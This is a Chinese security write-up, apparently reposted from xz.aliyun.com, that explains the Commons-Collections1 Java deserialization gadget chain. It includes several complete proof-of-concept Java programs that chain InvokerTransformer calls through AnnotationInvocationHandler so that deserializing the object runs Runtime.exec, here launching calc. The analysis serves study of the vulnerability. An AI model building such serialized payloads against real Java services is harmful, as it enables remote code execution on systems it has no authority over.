Common-Collections1 分析
2022-11-13 15:49:0 Author: xz.aliyun.com(查看原文) 阅读量:13 收藏

分享一下最近研究的cc1链相关知识

Common-Collections1 简化链

此链不涉及序列化 只是将漏洞点穿了起来

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;

public class test {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{ //新建一个Transformer类型的数组 ,然后里面填入两个Transformer
                new ConstantTransformer(Runtime.getRuntime()), //ConstantTransformer类中传入一个对象 返回相同对象
                new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"calc"}) //这里新建 InvokerTransformer对象传入三个值
                //但是 InvokerTransformer类中的transform方法需要Runtime.getRuntime()对象 才能rce
        };
       Transformer transformerChain = new ChainedTransformer(transformers);
         //i=1返回InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"calc"}).transform(Runtime.getRuntime())

        Map innerMap = new HashMap();
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
        outerMap.put("test", "xxxx");
    }
}

里面总共涉及
ConstantTransformer
InvokerTransformer
ChainedTransformer
TransformedMap
四个类

ConstantTransformer

输入什么 返回什么对象

InvokerTransformer

通过反射 获取输入对象的任意方法
也是Common-Collections1链子的实现RCE的根本缘由

ChainedTransformer

输入我们构造的数组对象 然后 通过transform方法进行一个回调,前一个返回的obj作为后一个调用

i=0时 obj为空 返回obj为runtime
i=1时 obj为runtime直接会有弹窗

TransformedMap

就是插入数据时 调用transformValue中的transform方法
我们走一遍链子
outerMap.put("test", "xxxx");插入数据 调用TransformedMap类中transformValue中的transform方法
transformerChain.transformi=0时返回obj=runtime i=1时调用之前返回的runtime 通过InvokerTransformer类实现RCE

Common-Collections1 完全链

poc如下

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class test {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{ //新建一个Transformer类型的数组 ,然后里面填入两个Transformer
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new  Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new  InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new  InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };

//        Method getRuntimeMethod  = (Method) new InvokerTransformer("getMethod",new  Class[]{String.class},new Object[]{Class[].class}).transform(Runtime.class);
//        Runtime R = (Runtime) new  InvokerTransformer("invoke",new Class[]{},new Object[]{null,null}).transform(getRuntimeMethod);
//        Method execMethod =(Method) new  InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(R);
//         Class runtime = Runtime.class;
       // Method getRuntimeMethod = runtime.getMethod("getRuntime");
        //Runtime R = (Runtime) getRuntimeMethod.invoke(null,null);
        //Method execMethod = runtime.getMethod("exec", String.class);
       // execMethod.invoke(R,"calc");


//
        Transformer transformerChain = new ChainedTransformer(transformers);
   //transformerChain.transform(Runtime.class);


        Map innerMap = new HashMap();
        innerMap.put("value", "xxxx");
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);


        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = c.getDeclaredConstructor(Class.class,Map.class);
        constructor.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) constructor.newInstance(Retention.class,outerMap);

        //序列化
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(handler);
        oos.close();
        System.out.println(barr);
        //反序列化
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();

    }
}

分析一下

我们简化链中是往Map中插入数据 触发TransformedMap中的checkSetValue方法,进而一步步的回调。但是实际应用中是不可能让我们插入数据 。这个时候 我们就需要查找那个地方调用了checkSetValue方法,并且最终实现序列化。
AbstractInputCheckedMapDecorator类中的setValue方法调用了checkSetValue方法

查看那个类调用了setValue方法 并且实现了序列化。
AnnotationInvocationHandler类中重写了readObject方法
代码如下

private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        s.defaultReadObject();

        // Check to make sure that types have not evolved incompatibly

        AnnotationType annotationType = null;
        try {
            annotationType = AnnotationType.getInstance(type);
        } catch(IllegalArgumentException e) {
            // Class is no longer an annotation type; time to punch out
            throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        Map<String, Class<?>> memberTypes = annotationType.memberTypes();

        // If there are annotation members without values, that
        // situation is handled by the invoke method.
        for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
            String name = memberValue.getKey();
            Class<?> memberType = memberTypes.get(name);
            if (memberType != null) {  // i.e. member still exists
                Object value = memberValue.getValue();
                if (!(memberType.isInstance(value) ||
                      value instanceof ExceptionProxy)) {
                    memberValue.setValue(
                        new AnnotationTypeMismatchExceptionProxy(
                            value.getClass() + "[" + value + "]").setMember(
                                annotationType.members().get(name)));
                }
            }
        }
    }

其中调用了setValue方法 所以这是我们的入口点
我们需要进入到该类中 调用setValue方法,此时会触发TransformedMap中的checkSetValue方法
最终达到RCE。
因为AnnotationInvocationHandler类是JDK的内部类 所以我们需要通过反射获得这个类

Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
 Constructor constructor = c.getDeclaredConstructor(Class.class,Map.class);
 constructor.setAccessible(true);
 InvocationHandler handler = (InvocationHandler)  constructor.newInstance(Retention.class,outerMap);

AnnotationInvocationHandler的构造函数如下

第一个参数需要继承Annotation第二个参数是Map
又因为我们还需要进入到if判断中 实现setValue方法 。所以需要满足两个if条件

首先是AnnotationInvocationHandler的构造函数的第一个参数必须是Annotation的子类且其中必须含有至少一个方法假设方法名是X

第二个条件是被TransformedMap.decorate修饰的Map中必须有一个键名为X的元素

Retention,因为它正好就是Annotation的子类,而且它里面有个方法叫做value,所以说为了满足第二个条件我们还需要往map中添加一个元素,它的键名为value,值随意,代码为:innerMap.put("value", "abc");

所以第一个参数是Retention.class
经过修改的POC

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;

public class CC1{
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.getRuntime()),
                new InvokerTransformer("exec", new Class[] { String.class },new String[]{"calc"}),};
        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        innerMap.put("value", "xxxx");
        Map outerMap = TransformedMap.decorate(innerMap, null,transformerChain);
        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
        construct.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);

        //序列化
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(handler);
        oos.close();
        System.out.println(barr);
        //反序列化
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }
}

又因为 Runtime没有继承Serializable接口,所以无法序列化 ,我们需要通过反射和InvokerTransformer类获取到Runtime对象

Method getRuntimeMethod  = (Method) new InvokerTransformer("getMethod",new  Class[]{String.class,Class[].class},new Object[]{Class[].class}).transform(Runtime.class);
      Runtime R = (Runtime) new  InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntimeMethod);
     Method execMethod =(Method) new  InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(R);
    // Class runtime = Runtime.class;

       // Method getRuntimeMethod = runtime.getMethod("getRuntime");
        //Runtime R = (Runtime) getRuntimeMethod.invoke(null,null);
        //Method execMethod = runtime.getMethod("exec", String.class);
       // execMethod.invoke(R,"calc");

这里 代码量较大 且Runtime R的transform调用了Method getRuntimeMethod对象,Method execMethod的transform调用了Runtime R对象
符合ChainedTransformer类中 transform方法的回调
所以我们略微改造

Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new  Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new  InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new  InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
Transformer transformerChain = new ChainedTransformer(transformers);
transformerChain.transform(Runtime.class);

接下来合并起来就是我们最终的POC

参考

《P神-JAVA安全漫谈》
https://www.bilibili.com/video/BV1no4y1U7E1
http://arsenetang.com/2022/02/06/Java%E7%AF%87%E4%B9%8BCommonsCollections%201%20(2)/


文章来源: https://xz.aliyun.com/t/11835
如有侵权请联系:admin#unsafe.sh